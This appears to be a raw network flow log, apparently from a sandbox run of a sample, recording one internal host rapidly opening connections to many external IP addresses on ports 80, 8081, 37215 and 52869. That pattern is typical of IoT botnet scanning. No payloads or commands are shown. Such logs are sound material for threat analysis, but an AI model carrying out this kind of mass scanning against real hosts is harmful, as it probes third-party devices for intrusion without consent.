Jul 20, 2024 23:00:59.320128918 CEST	80	53262	95.129.39.24	192.168.2.23
Jul 20, 2024 23:00:59.320166111 CEST	8081	34874	58.209.208.205	192.168.2.23
Jul 20, 2024 23:00:59.320166111 CEST	53262	80	192.168.2.23	95.129.39.24
Jul 20, 2024 23:00:59.320236921 CEST	38564	52869	192.168.2.23	205.29.56.156
Jul 20, 2024 23:00:59.320236921 CEST	58556	37215	192.168.2.23	197.75.123.93
Jul 20, 2024 23:00:59.320240021 CEST	38248	8081	192.168.2.23	121.11.165.132
Jul 20, 2024 23:00:59.320297003 CEST	80	51332	95.73.162.66	192.168.2.23
Jul 20, 2024 23:00:59.320308924 CEST	8081	35750	58.209.208.205	192.168.2.23
Jul 20, 2024 23:00:59.320346117 CEST	35750	8081	192.168.2.23	58.209.208.205
Jul 20, 2024 23:00:59.320470095 CEST	37215	34962	197.194.243.184	192.168.2.23
Jul 20, 2024 23:00:59.320559025 CEST	80	52406	95.73.162.66	192.168.2.23
Jul 20, 2024 23:00:59.320571899 CEST	8081	42650	157.132.243.78	192.168.2.23
Jul 20, 2024 23:00:59.320583105 CEST	53564	37215	192.168.2.23	157.72.248.222
Jul 20, 2024 23:00:59.320632935 CEST	52406	80	192.168.2.23	95.73.162.66
Jul 20, 2024 23:00:59.320810080 CEST	80	47348	95.78.253.213	192.168.2.23
Jul 20, 2024 23:00:59.320841074 CEST	8081	43524	157.132.243.78	192.168.2.23
Jul 20, 2024 23:00:59.320852995 CEST	8081	43772	8.92.127.66	192.168.2.23
Jul 20, 2024 23:00:59.320875883 CEST	80	49112	95.224.122.49	192.168.2.23
Jul 20, 2024 23:00:59.320992947 CEST	52869	55066	162.117.132.232	192.168.2.23
Jul 20, 2024 23:00:59.321033001 CEST	55066	52869	192.168.2.23	162.117.132.232
Jul 20, 2024 23:00:59.321037054 CEST	43524	8081	192.168.2.23	157.132.243.78
Jul 20, 2024 23:00:59.321122885 CEST	34962	37215	192.168.2.23	197.194.243.184
Jul 20, 2024 23:00:59.321257114 CEST	37215	34358	197.67.20.2	192.168.2.23
Jul 20, 2024 23:00:59.321937084 CEST	34358	37215	192.168.2.23	197.67.20.2
Jul 20, 2024 23:00:59.322124958 CEST	48300	8081	192.168.2.23	174.211.130.59
Jul 20, 2024 23:00:59.322124958 CEST	48300	8081	192.168.2.23	174.211.130.59
Jul 20, 2024 23:00:59.322422028 CEST	48232	52869	192.168.2.23	98.176.193.82
Jul 20, 2024 23:00:59.322643995 CEST	80	48426	95.78.253.213	192.168.2.23
Jul 20, 2024 23:00:59.322807074 CEST	48426	80	192.168.2.23	95.78.253.213
Jul 20, 2024 23:00:59.322819948 CEST	50680	80	192.168.2.23	95.186.21.70
Jul 20, 2024 23:00:59.322942019 CEST	8081	57738	13.201.247.1	192.168.2.23
Jul 20, 2024 23:00:59.324297905 CEST	8081	58612	13.201.247.1	192.168.2.23
Jul 20, 2024 23:00:59.324333906 CEST	58612	8081	192.168.2.23	13.201.247.1
Jul 20, 2024 23:00:59.324593067 CEST	49174	8081	192.168.2.23	174.211.130.59
Jul 20, 2024 23:00:59.324806929 CEST	80	49600	95.186.21.70	192.168.2.23
Jul 20, 2024 23:00:59.325398922 CEST	59806	37215	192.168.2.23	197.99.9.223
Jul 20, 2024 23:00:59.325544119 CEST	42568	80	192.168.2.23	95.46.44.80
Jul 20, 2024 23:00:59.325544119 CEST	42568	80	192.168.2.23	95.46.44.80
Jul 20, 2024 23:00:59.325814009 CEST	37215	53564	157.72.248.222	192.168.2.23
Jul 20, 2024 23:00:59.325866938 CEST	53564	37215	192.168.2.23	157.72.248.222
Jul 20, 2024 23:00:59.327594042 CEST	39530	8081	192.168.2.23	45.29.220.56
Jul 20, 2024 23:00:59.327594042 CEST	39530	8081	192.168.2.23	45.29.220.56
Jul 20, 2024 23:00:59.327651978 CEST	8081	48300	174.211.130.59	192.168.2.23
Jul 20, 2024 23:00:59.327665091 CEST	52869	48232	98.176.193.82	192.168.2.23
Jul 20, 2024 23:00:59.327708006 CEST	48232	52869	192.168.2.23	98.176.193.82
Jul 20, 2024 23:00:59.327824116 CEST	42622	52869	192.168.2.23	181.219.175.178
Jul 20, 2024 23:00:59.327949047 CEST	80	50680	95.186.21.70	192.168.2.23
Jul 20, 2024 23:00:59.327981949 CEST	50680	80	192.168.2.23	95.186.21.70
Jul 20, 2024 23:00:59.328238964 CEST	43652	80	192.168.2.23	95.46.44.80
Jul 20, 2024 23:00:59.328658104 CEST	8081	55466	96.99.34.154	192.168.2.23
Jul 20, 2024 23:00:59.329109907 CEST	40404	8081	192.168.2.23	45.29.220.56
Jul 20, 2024 23:00:59.329775095 CEST	80	41780	95.184.188.30	192.168.2.23
Jul 20, 2024 23:00:59.330251932 CEST	8081	49174	174.211.130.59	192.168.2.23
Jul 20, 2024 23:00:59.330338001 CEST	49174	8081	192.168.2.23	174.211.130.59
Jul 20, 2024 23:00:59.330574036 CEST	37215	59806	197.99.9.223	192.168.2.23
Jul 20, 2024 23:00:59.330611944 CEST	59806	37215	192.168.2.23	197.99.9.223
Jul 20, 2024 23:00:59.330624104 CEST	80	42568	95.46.44.80	192.168.2.23
Jul 20, 2024 23:00:59.331104040 CEST	59562	37215	192.168.2.23	197.67.79.4
Jul 20, 2024 23:00:59.331604004 CEST	60060	80	192.168.2.23	95.125.201.89
Jul 20, 2024 23:00:59.331604004 CEST	60060	80	192.168.2.23	95.125.201.89
Jul 20, 2024 23:00:59.331804037 CEST	43136	8081	192.168.2.23	143.178.252.246
Jul 20, 2024 23:00:59.331804037 CEST	43136	8081	192.168.2.23	143.178.252.246
Jul 20, 2024 23:00:59.332046986 CEST	44986	52869	192.168.2.23	84.150.128.0
Jul 20, 2024 23:00:59.333549976 CEST	8081	39530	45.29.220.56	192.168.2.23
Jul 20, 2024 23:00:59.333563089 CEST	52869	42622	181.219.175.178	192.168.2.23
Jul 20, 2024 23:00:59.333575964 CEST	80	43652	95.46.44.80	192.168.2.23
Jul 20, 2024 23:00:59.333597898 CEST	42622	52869	192.168.2.23	181.219.175.178
Jul 20, 2024 23:00:59.333612919 CEST	43652	80	192.168.2.23	95.46.44.80
Jul 20, 2024 23:00:59.334083080 CEST	32916	80	192.168.2.23	95.125.201.89
Jul 20, 2024 23:00:59.334394932 CEST	8081	40404	45.29.220.56	192.168.2.23
Jul 20, 2024 23:00:59.334465981 CEST	40404	8081	192.168.2.23	45.29.220.56
Jul 20, 2024 23:00:59.334707975 CEST	44008	8081	192.168.2.23	143.178.252.246
Jul 20, 2024 23:00:59.335711002 CEST	42434	37215	192.168.2.23	155.28.185.96
Jul 20, 2024 23:00:59.336546898 CEST	37215	59562	197.67.79.4	192.168.2.23
Jul 20, 2024 23:00:59.336621046 CEST	59562	37215	192.168.2.23	197.67.79.4
Jul 20, 2024 23:00:59.336725950 CEST	8081	53520	32.26.120.233	192.168.2.23
Jul 20, 2024 23:00:59.336817026 CEST	80	35314	95.217.227.150	192.168.2.23
Jul 20, 2024 23:00:59.336841106 CEST	80	60060	95.125.201.89	192.168.2.23
Jul 20, 2024 23:00:59.337024927 CEST	8081	43136	143.178.252.246	192.168.2.23
Jul 20, 2024 23:00:59.337177038 CEST	52869	44986	84.150.128.0	192.168.2.23
Jul 20, 2024 23:00:59.337213993 CEST	44986	52869	192.168.2.23	84.150.128.0
Jul 20, 2024 23:00:59.337615013 CEST	46356	80	192.168.2.23	95.195.0.56
Jul 20, 2024 23:00:59.337615013 CEST	46356	80	192.168.2.23	95.195.0.56
Jul 20, 2024 23:00:59.338001966 CEST	54130	8081	192.168.2.23	209.57.96.146
Jul 20, 2024 23:00:59.338001966 CEST	54130	8081	192.168.2.23	209.57.96.146
Jul 20, 2024 23:00:59.338557959 CEST	60402	52869	192.168.2.23	14.23.231.227
Jul 20, 2024 23:00:59.339193106 CEST	80	32916	95.125.201.89	192.168.2.23
Jul 20, 2024 23:00:59.339229107 CEST	32916	80	192.168.2.23	95.125.201.89
Jul 20, 2024 23:00:59.339519024 CEST	55000	8081	192.168.2.23	209.57.96.146
Jul 20, 2024 23:00:59.339968920 CEST	8081	44008	143.178.252.246	192.168.2.23
Jul 20, 2024 23:00:59.340009928 CEST	44008	8081	192.168.2.23	143.178.252.246
Jul 20, 2024 23:00:59.340214968 CEST	47450	80	192.168.2.23	95.195.0.56
Jul 20, 2024 23:00:59.340748072 CEST	37215	42434	155.28.185.96	192.168.2.23
Jul 20, 2024 23:00:59.340801001 CEST	42434	37215	192.168.2.23	155.28.185.96
Jul 20, 2024 23:00:59.341423988 CEST	37642	37215	192.168.2.23	157.54.130.2
Jul 20, 2024 23:00:59.343348980 CEST	80	46356	95.195.0.56	192.168.2.23
Jul 20, 2024 23:00:59.343609095 CEST	60748	8081	192.168.2.23	222.51.117.113
Jul 20, 2024 23:00:59.343609095 CEST	60748	8081	192.168.2.23	222.51.117.113
Jul 20, 2024 23:00:59.343805075 CEST	8081	54130	209.57.96.146	192.168.2.23
Jul 20, 2024 23:00:59.344680071 CEST	49202	80	192.168.2.23	95.65.56.41
Jul 20, 2024 23:00:59.344680071 CEST	49202	80	192.168.2.23	95.65.56.41
Jul 20, 2024 23:00:59.344803095 CEST	52869	60402	14.23.231.227	192.168.2.23
Jul 20, 2024 23:00:59.344816923 CEST	8081	55000	209.57.96.146	192.168.2.23
Jul 20, 2024 23:00:59.344964027 CEST	60402	52869	192.168.2.23	14.23.231.227
Jul 20, 2024 23:00:59.344986916 CEST	55000	8081	192.168.2.23	209.57.96.146
Jul 20, 2024 23:00:59.345175028 CEST	80	47450	95.195.0.56	192.168.2.23
Jul 20, 2024 23:00:59.345213890 CEST	47450	80	192.168.2.23	95.195.0.56
Jul 20, 2024 23:00:59.345442057 CEST	56664	52869	192.168.2.23	107.75.193.125
Jul 20, 2024 23:00:59.346605062 CEST	33386	8081	192.168.2.23	222.51.117.113
Jul 20, 2024 23:00:59.347222090 CEST	37138	37215	192.168.2.23	197.229.227.49
Jul 20, 2024 23:00:59.347414970 CEST	37215	37642	157.54.130.2	192.168.2.23
Jul 20, 2024 23:00:59.347448111 CEST	37642	37215	192.168.2.23	157.54.130.2
Jul 20, 2024 23:00:59.347464085 CEST	50300	80	192.168.2.23	95.65.56.41
Jul 20, 2024 23:00:59.348587990 CEST	8081	60748	222.51.117.113	192.168.2.23
Jul 20, 2024 23:00:59.349349976 CEST	51182	8081	192.168.2.23	213.64.167.149
Jul 20, 2024 23:00:59.349349976 CEST	51182	8081	192.168.2.23	213.64.167.149
Jul 20, 2024 23:00:59.349488020 CEST	80	49202	95.65.56.41	192.168.2.23
Jul 20, 2024 23:00:59.349586964 CEST	42130	52869	192.168.2.23	155.22.90.90
Jul 20, 2024 23:00:59.350045919 CEST	52156	80	192.168.2.23	95.206.60.205
Jul 20, 2024 23:00:59.350045919 CEST	52156	80	192.168.2.23	95.206.60.205
Jul 20, 2024 23:00:59.350532055 CEST	52052	8081	192.168.2.23	213.64.167.149
Jul 20, 2024 23:00:59.350593090 CEST	52869	56664	107.75.193.125	192.168.2.23
Jul 20, 2024 23:00:59.350635052 CEST	56664	52869	192.168.2.23	107.75.193.125
Jul 20, 2024 23:00:59.351583958 CEST	8081	33386	222.51.117.113	192.168.2.23
Jul 20, 2024 23:00:59.351732969 CEST	33386	8081	192.168.2.23	222.51.117.113
Jul 20, 2024 23:00:59.352247953 CEST	37215	37138	197.229.227.49	192.168.2.23
Jul 20, 2024 23:00:59.352276087 CEST	35680	37215	192.168.2.23	197.132.243.55
Jul 20, 2024 23:00:59.352293968 CEST	37138	37215	192.168.2.23	197.229.227.49
Jul 20, 2024 23:00:59.352499962 CEST	80	50300	95.65.56.41	192.168.2.23
Jul 20, 2024 23:00:59.352617979 CEST	50300	80	192.168.2.23	95.65.56.41
Jul 20, 2024 23:00:59.352658033 CEST	53258	80	192.168.2.23	95.206.60.205
Jul 20, 2024 23:00:59.352680922 CEST	80	52188	95.129.39.24	192.168.2.23
Jul 20, 2024 23:00:59.352694035 CEST	8081	37372	121.11.165.132	192.168.2.23
Jul 20, 2024 23:00:59.353379011 CEST	51348	8081	192.168.2.23	110.138.50.100
Jul 20, 2024 23:00:59.353379965 CEST	51348	8081	192.168.2.23	110.138.50.100
Jul 20, 2024 23:00:59.354300976 CEST	8081	51182	213.64.167.149	192.168.2.23
Jul 20, 2024 23:00:59.354708910 CEST	52869	42130	155.22.90.90	192.168.2.23
Jul 20, 2024 23:00:59.354769945 CEST	42130	52869	192.168.2.23	155.22.90.90
Jul 20, 2024 23:00:59.355021000 CEST	52478	52869	192.168.2.23	132.33.116.164
Jul 20, 2024 23:00:59.355225086 CEST	80	52156	95.206.60.205	192.168.2.23
Jul 20, 2024 23:00:59.355422974 CEST	45206	80	192.168.2.23	95.252.122.113
Jul 20, 2024 23:00:59.355422974 CEST	45206	80	192.168.2.23	95.252.122.113
Jul 20, 2024 23:00:59.355722904 CEST	52218	8081	192.168.2.23	110.138.50.100
Jul 20, 2024 23:00:59.355937004 CEST	8081	52052	213.64.167.149	192.168.2.23
Jul 20, 2024 23:00:59.355979919 CEST	52052	8081	192.168.2.23	213.64.167.149
Jul 20, 2024 23:00:59.356525898 CEST	35110	37215	192.168.2.23	157.73.230.79
Jul 20, 2024 23:00:59.357357025 CEST	37215	35680	197.132.243.55	192.168.2.23
Jul 20, 2024 23:00:59.357465982 CEST	35680	37215	192.168.2.23	197.132.243.55
Jul 20, 2024 23:00:59.357670069 CEST	80	53258	95.206.60.205	192.168.2.23
Jul 20, 2024 23:00:59.357712030 CEST	53258	80	192.168.2.23	95.206.60.205
Jul 20, 2024 23:00:59.358371973 CEST	8081	51348	110.138.50.100	192.168.2.23
Jul 20, 2024 23:00:59.358705044 CEST	46310	80	192.168.2.23	95.252.122.113
Jul 20, 2024 23:00:59.359098911 CEST	53268	8081	192.168.2.23	180.150.232.28
Jul 20, 2024 23:00:59.359098911 CEST	53268	8081	192.168.2.23	180.150.232.28
Jul 20, 2024 23:00:59.360301971 CEST	52869	52478	132.33.116.164	192.168.2.23
Jul 20, 2024 23:00:59.360352993 CEST	52478	52869	192.168.2.23	132.33.116.164
Jul 20, 2024 23:00:59.360598087 CEST	80	45206	95.252.122.113	192.168.2.23
Jul 20, 2024 23:00:59.360733986 CEST	80	47348	95.78.253.213	192.168.2.23
Jul 20, 2024 23:00:59.360847950 CEST	8081	42650	157.132.243.78	192.168.2.23
Jul 20, 2024 23:00:59.360872984 CEST	80	51332	95.73.162.66	192.168.2.23
Jul 20, 2024 23:00:59.360899925 CEST	8081	34874	58.209.208.205	192.168.2.23
Jul 20, 2024 23:00:59.361061096 CEST	54140	8081	192.168.2.23	180.150.232.28
Jul 20, 2024 23:00:59.361114025 CEST	8081	52218	110.138.50.100	192.168.2.23
Jul 20, 2024 23:00:59.361144066 CEST	52218	8081	192.168.2.23	110.138.50.100
Jul 20, 2024 23:00:59.361361027 CEST	37696	52869	192.168.2.23	150.171.160.226
Jul 20, 2024 23:00:59.361901045 CEST	50728	80	192.168.2.23	95.170.175.133
Jul 20, 2024 23:00:59.361901045 CEST	50728	80	192.168.2.23	95.170.175.133
Jul 20, 2024 23:00:59.361906052 CEST	37215	35110	157.73.230.79	192.168.2.23
Jul 20, 2024 23:00:59.361953020 CEST	35110	37215	192.168.2.23	157.73.230.79
Jul 20, 2024 23:00:59.362917900 CEST	34066	37215	192.168.2.23	91.110.161.158
Jul 20, 2024 23:00:59.363778114 CEST	54292	8081	192.168.2.23	51.1.78.152
Jul 20, 2024 23:00:59.363778114 CEST	54292	8081	192.168.2.23	51.1.78.152
Jul 20, 2024 23:00:59.364011049 CEST	80	46310	95.252.122.113	192.168.2.23
Jul 20, 2024 23:00:59.364054918 CEST	46310	80	192.168.2.23	95.252.122.113
Jul 20, 2024 23:00:59.364203930 CEST	8081	53268	180.150.232.28	192.168.2.23
Jul 20, 2024 23:00:59.364392996 CEST	51836	80	192.168.2.23	95.170.175.133
Jul 20, 2024 23:00:59.364748955 CEST	8081	57738	13.201.247.1	192.168.2.23
Jul 20, 2024 23:00:59.365423918 CEST	44870	52869	192.168.2.23	221.226.241.204
Jul 20, 2024 23:00:59.366305113 CEST	55168	8081	192.168.2.23	51.1.78.152
Jul 20, 2024 23:00:59.366594076 CEST	8081	54140	180.150.232.28	192.168.2.23
Jul 20, 2024 23:00:59.366640091 CEST	54140	8081	192.168.2.23	180.150.232.28
Jul 20, 2024 23:00:59.366935015 CEST	52869	37696	150.171.160.226	192.168.2.23
Jul 20, 2024 23:00:59.366993904 CEST	37696	52869	192.168.2.23	150.171.160.226
Jul 20, 2024 23:00:59.367012978 CEST	57930	37215	192.168.2.23	157.129.226.209
Jul 20, 2024 23:00:59.367105961 CEST	39506	80	192.168.2.23	95.58.49.71
Jul 20, 2024 23:00:59.367249966 CEST	39506	80	192.168.2.23	95.58.49.71
Jul 20, 2024 23:00:59.367783070 CEST	80	50728	95.170.175.133	192.168.2.23
Jul 20, 2024 23:00:59.368571997 CEST	37215	34066	91.110.161.158	192.168.2.23
Jul 20, 2024 23:00:59.368583918 CEST	8081	48300	174.211.130.59	192.168.2.23
Jul 20, 2024 23:00:59.368594885 CEST	35160	8081	192.168.2.23	201.77.170.14
Jul 20, 2024 23:00:59.368594885 CEST	35160	8081	192.168.2.23	201.77.170.14
Jul 20, 2024 23:00:59.368612051 CEST	34066	37215	192.168.2.23	91.110.161.158
Jul 20, 2024 23:00:59.368630886 CEST	80	49600	95.186.21.70	192.168.2.23
Jul 20, 2024 23:00:59.369314909 CEST	40598	80	192.168.2.23	95.58.49.71
Jul 20, 2024 23:00:59.369657993 CEST	8081	54292	51.1.78.152	192.168.2.23
Jul 20, 2024 23:00:59.370404959 CEST	36036	8081	192.168.2.23	201.77.170.14
Jul 20, 2024 23:00:59.370786905 CEST	36072	52869	192.168.2.23	2.10.234.63
Jul 20, 2024 23:00:59.370989084 CEST	80	51836	95.170.175.133	192.168.2.23
Jul 20, 2024 23:00:59.371095896 CEST	51836	80	192.168.2.23	95.170.175.133
Jul 20, 2024 23:00:59.371901035 CEST	52869	44870	221.226.241.204	192.168.2.23
Jul 20, 2024 23:00:59.371943951 CEST	44870	52869	192.168.2.23	221.226.241.204
Jul 20, 2024 23:00:59.372085094 CEST	8081	55168	51.1.78.152	192.168.2.23
Jul 20, 2024 23:00:59.372127056 CEST	55168	8081	192.168.2.23	51.1.78.152
Jul 20, 2024 23:00:59.372351885 CEST	80	39506	95.58.49.71	192.168.2.23
Jul 20, 2024 23:00:59.372364998 CEST	37215	57930	157.129.226.209	192.168.2.23
Jul 20, 2024 23:00:59.372370005 CEST	60608	37215	192.168.2.23	41.222.48.132
Jul 20, 2024 23:00:59.372402906 CEST	57930	37215	192.168.2.23	157.129.226.209
Jul 20, 2024 23:00:59.372503996 CEST	38844	80	192.168.2.23	95.185.52.107
Jul 20, 2024 23:00:59.372503996 CEST	38844	80	192.168.2.23	95.185.52.107
Jul 20, 2024 23:00:59.372981071 CEST	60610	8081	192.168.2.23	172.125.164.86
Jul 20, 2024 23:00:59.372981071 CEST	60610	8081	192.168.2.23	172.125.164.86
Jul 20, 2024 23:00:59.373599052 CEST	8081	35160	201.77.170.14	192.168.2.23
Jul 20, 2024 23:00:59.374509096 CEST	80	40598	95.58.49.71	192.168.2.23
Jul 20, 2024 23:00:59.374556065 CEST	40598	80	192.168.2.23	95.58.49.71
Jul 20, 2024 23:00:59.375267982 CEST	39940	80	192.168.2.23	95.185.52.107
Jul 20, 2024 23:00:59.375583887 CEST	8081	36036	201.77.170.14	192.168.2.23
Jul 20, 2024 23:00:59.375618935 CEST	36036	8081	192.168.2.23	201.77.170.14
Jul 20, 2024 23:00:59.375838041 CEST	52869	36072	2.10.234.63	192.168.2.23
Jul 20, 2024 23:00:59.375857115 CEST	33256	8081	192.168.2.23	172.125.164.86
Jul 20, 2024 23:00:59.375884056 CEST	36072	52869	192.168.2.23	2.10.234.63
Jul 20, 2024 23:00:59.376472950 CEST	55444	52869	192.168.2.23	183.49.28.217
Jul 20, 2024 23:00:59.376599073 CEST	8081	39530	45.29.220.56	192.168.2.23
Jul 20, 2024 23:00:59.376637936 CEST	80	42568	95.46.44.80	192.168.2.23
Jul 20, 2024 23:00:59.376646042 CEST	57288	37215	192.168.2.23	41.191.248.36
Jul 20, 2024 23:00:59.377450943 CEST	37215	60608	41.222.48.132	192.168.2.23
Jul 20, 2024 23:00:59.377499104 CEST	60608	37215	192.168.2.23	41.222.48.132
Jul 20, 2024 23:00:59.377635002 CEST	80	38844	95.185.52.107	192.168.2.23
Jul 20, 2024 23:00:59.377973080 CEST	46578	80	192.168.2.23	95.141.82.86
Jul 20, 2024 23:00:59.377973080 CEST	46578	80	192.168.2.23	95.141.82.86
Jul 20, 2024 23:00:59.378112078 CEST	8081	60610	172.125.164.86	192.168.2.23
Jul 20, 2024 23:00:59.378446102 CEST	43692	8081	192.168.2.23	123.41.132.40
Jul 20, 2024 23:00:59.378447056 CEST	43692	8081	192.168.2.23	123.41.132.40
Jul 20, 2024 23:00:59.380286932 CEST	44568	8081	192.168.2.23	123.41.132.40
Jul 20, 2024 23:00:59.380423069 CEST	80	39940	95.185.52.107	192.168.2.23
Jul 20, 2024 23:00:59.380475044 CEST	39940	80	192.168.2.23	95.185.52.107
Jul 20, 2024 23:00:59.380764008 CEST	8081	43136	143.178.252.246	192.168.2.23
Jul 20, 2024 23:00:59.380791903 CEST	80	60060	95.125.201.89	192.168.2.23
Jul 20, 2024 23:00:59.380795002 CEST	47680	80	192.168.2.23	95.141.82.86
Jul 20, 2024 23:00:59.380820036 CEST	8081	33256	172.125.164.86	192.168.2.23
Jul 20, 2024 23:00:59.380867958 CEST	33256	8081	192.168.2.23	172.125.164.86
Jul 20, 2024 23:00:59.381570101 CEST	60020	52869	192.168.2.23	195.64.245.14
Jul 20, 2024 23:00:59.381813049 CEST	45072	37215	192.168.2.23	157.230.177.125
Jul 20, 2024 23:00:59.381901026 CEST	52869	55444	183.49.28.217	192.168.2.23
Jul 20, 2024 23:00:59.381947994 CEST	55444	52869	192.168.2.23	183.49.28.217
Jul 20, 2024 23:00:59.381958961 CEST	37215	57288	41.191.248.36	192.168.2.23
Jul 20, 2024 23:00:59.381997108 CEST	57288	37215	192.168.2.23	41.191.248.36
Jul 20, 2024 23:00:59.382709980 CEST	54558	8081	192.168.2.23	202.218.212.3
Jul 20, 2024 23:00:59.382709980 CEST	54558	8081	192.168.2.23	202.218.212.3
Jul 20, 2024 23:00:59.383214951 CEST	80	46578	95.141.82.86	192.168.2.23
Jul 20, 2024 23:00:59.383219004 CEST	48560	80	192.168.2.23	95.244.122.54
Jul 20, 2024 23:00:59.383445978 CEST	48560	80	192.168.2.23	95.244.122.54
Jul 20, 2024 23:00:59.383459091 CEST	8081	43692	123.41.132.40	192.168.2.23
Jul 20, 2024 23:00:59.384711981 CEST	8081	54130	209.57.96.146	192.168.2.23
Jul 20, 2024 23:00:59.384740114 CEST	80	46356	95.195.0.56	192.168.2.23
Jul 20, 2024 23:00:59.384875059 CEST	55436	8081	192.168.2.23	202.218.212.3
Jul 20, 2024 23:00:59.385370970 CEST	8081	44568	123.41.132.40	192.168.2.23
Jul 20, 2024 23:00:59.385412931 CEST	44568	8081	192.168.2.23	123.41.132.40
Jul 20, 2024 23:00:59.385471106 CEST	59050	52869	192.168.2.23	4.72.134.93
Jul 20, 2024 23:00:59.385660887 CEST	57218	37215	192.168.2.23	197.71.69.91
Jul 20, 2024 23:00:59.385785103 CEST	49668	80	192.168.2.23	95.244.122.54
Jul 20, 2024 23:00:59.387541056 CEST	80	47680	95.141.82.86	192.168.2.23
Jul 20, 2024 23:00:59.387579918 CEST	47680	80	192.168.2.23	95.141.82.86
Jul 20, 2024 23:00:59.388241053 CEST	47164	8081	192.168.2.23	35.100.103.23
Jul 20, 2024 23:00:59.388242006 CEST	47164	8081	192.168.2.23	35.100.103.23
Jul 20, 2024 23:00:59.388794899 CEST	53906	80	192.168.2.23	95.234.195.112
Jul 20, 2024 23:00:59.388794899 CEST	53906	80	192.168.2.23	95.234.195.112
Jul 20, 2024 23:00:59.389456987 CEST	48042	8081	192.168.2.23	35.100.103.23
Jul 20, 2024 23:00:59.390964031 CEST	52869	60020	195.64.245.14	192.168.2.23
Jul 20, 2024 23:00:59.390993118 CEST	37215	45072	157.230.177.125	192.168.2.23
Jul 20, 2024 23:00:59.391027927 CEST	45072	37215	192.168.2.23	157.230.177.125
Jul 20, 2024 23:00:59.391031027 CEST	52722	52869	192.168.2.23	139.37.94.236
Jul 20, 2024 23:00:59.391045094 CEST	60020	52869	192.168.2.23	195.64.245.14
Jul 20, 2024 23:00:59.391453028 CEST	40002	37215	192.168.2.23	157.59.116.210
Jul 20, 2024 23:00:59.391556025 CEST	8081	54558	202.218.212.3	192.168.2.23
Jul 20, 2024 23:00:59.391623020 CEST	80	48560	95.244.122.54	192.168.2.23
Jul 20, 2024 23:00:59.391767025 CEST	55018	80	192.168.2.23	95.234.195.112
Jul 20, 2024 23:00:59.392452955 CEST	37468	8081	192.168.2.23	78.218.78.120
Jul 20, 2024 23:00:59.392452955 CEST	37468	8081	192.168.2.23	78.218.78.120
Jul 20, 2024 23:00:59.392911911 CEST	8081	55436	202.218.212.3	192.168.2.23
Jul 20, 2024 23:00:59.393011093 CEST	55436	8081	192.168.2.23	202.218.212.3
Jul 20, 2024 23:00:59.393898964 CEST	52869	59050	4.72.134.93	192.168.2.23
Jul 20, 2024 23:00:59.393928051 CEST	37215	57218	197.71.69.91	192.168.2.23
Jul 20, 2024 23:00:59.393956900 CEST	59050	52869	192.168.2.23	4.72.134.93
Jul 20, 2024 23:00:59.393959045 CEST	57218	37215	192.168.2.23	197.71.69.91
Jul 20, 2024 23:00:59.394498110 CEST	54504	80	192.168.2.23	95.212.120.98
Jul 20, 2024 23:00:59.394498110 CEST	54504	80	192.168.2.23	95.212.120.98
Jul 20, 2024 23:00:59.394576073 CEST	80	49668	95.244.122.54	192.168.2.23
Jul 20, 2024 23:00:59.394640923 CEST	49668	80	192.168.2.23	95.244.122.54
Jul 20, 2024 23:00:59.394757032 CEST	38348	8081	192.168.2.23	78.218.78.120
Jul 20, 2024 23:00:59.395189047 CEST	38728	52869	192.168.2.23	25.222.87.118
Jul 20, 2024 23:00:59.395409107 CEST	59906	37215	192.168.2.23	140.34.44.126
Jul 20, 2024 23:00:59.395562887 CEST	80	49202	95.65.56.41	192.168.2.23
Jul 20, 2024 23:00:59.395620108 CEST	8081	60748	222.51.117.113	192.168.2.23
Jul 20, 2024 23:00:59.396035910 CEST	8081	47164	35.100.103.23	192.168.2.23
Jul 20, 2024 23:00:59.396538019 CEST	80	53906	95.234.195.112	192.168.2.23
Jul 20, 2024 23:00:59.397092104 CEST	55618	80	192.168.2.23	95.212.120.98
Jul 20, 2024 23:00:59.397449970 CEST	8081	48042	35.100.103.23	192.168.2.23
Jul 20, 2024 23:00:59.397499084 CEST	48042	8081	192.168.2.23	35.100.103.23
Jul 20, 2024 23:00:59.397834063 CEST	58006	8081	192.168.2.23	211.145.32.152
Jul 20, 2024 23:00:59.397834063 CEST	58006	8081	192.168.2.23	211.145.32.152
Jul 20, 2024 23:00:59.399143934 CEST	58886	8081	192.168.2.23	211.145.32.152
Jul 20, 2024 23:00:59.399450064 CEST	80	52156	95.206.60.205	192.168.2.23
Jul 20, 2024 23:00:59.399477959 CEST	8081	51182	213.64.167.149	192.168.2.23
Jul 20, 2024 23:00:59.399533033 CEST	52869	52722	139.37.94.236	192.168.2.23
Jul 20, 2024 23:00:59.399571896 CEST	52722	52869	192.168.2.23	139.37.94.236
Jul 20, 2024 23:00:59.399748087 CEST	46784	80	192.168.2.23	95.38.106.58
Jul 20, 2024 23:00:59.399748087 CEST	46784	80	192.168.2.23	95.38.106.58
Jul 20, 2024 23:00:59.399777889 CEST	37215	40002	157.59.116.210	192.168.2.23
Jul 20, 2024 23:00:59.399806976 CEST	80	55018	95.234.195.112	192.168.2.23
Jul 20, 2024 23:00:59.399827003 CEST	40002	37215	192.168.2.23	157.59.116.210
Jul 20, 2024 23:00:59.399851084 CEST	55018	80	192.168.2.23	95.234.195.112
Jul 20, 2024 23:00:59.399939060 CEST	8081	37468	78.218.78.120	192.168.2.23
Jul 20, 2024 23:00:59.400541067 CEST	34424	52869	192.168.2.23	208.190.62.115
Jul 20, 2024 23:00:59.400717974 CEST	47118	37215	192.168.2.23	197.217.22.246
Jul 20, 2024 23:00:59.400829077 CEST	80	46578	95.141.82.86	192.168.2.23
Jul 20, 2024 23:00:59.400878906 CEST	46578	80	192.168.2.23	95.141.82.86
Jul 20, 2024 23:00:59.401551008 CEST	53722	8081	192.168.2.23	37.155.128.10
Jul 20, 2024 23:00:59.401551008 CEST	53722	8081	192.168.2.23	37.155.128.10
Jul 20, 2024 23:00:59.402098894 CEST	47902	80	192.168.2.23	95.38.106.58
Jul 20, 2024 23:00:59.402282953 CEST	8081	51348	110.138.50.100	192.168.2.23
Jul 20, 2024 23:00:59.402553082 CEST	80	54504	95.212.120.98	192.168.2.23
Jul 20, 2024 23:00:59.402580976 CEST	8081	38348	78.218.78.120	192.168.2.23
Jul 20, 2024 23:00:59.402607918 CEST	52869	38728	25.222.87.118	192.168.2.23
Jul 20, 2024 23:00:59.402631998 CEST	38348	8081	192.168.2.23	78.218.78.120
Jul 20, 2024 23:00:59.402656078 CEST	38728	52869	192.168.2.23	25.222.87.118
Jul 20, 2024 23:00:59.403083086 CEST	37215	59906	140.34.44.126	192.168.2.23
Jul 20, 2024 23:00:59.403120995 CEST	59906	37215	192.168.2.23	140.34.44.126
Jul 20, 2024 23:00:59.403492928 CEST	80	55618	95.212.120.98	192.168.2.23
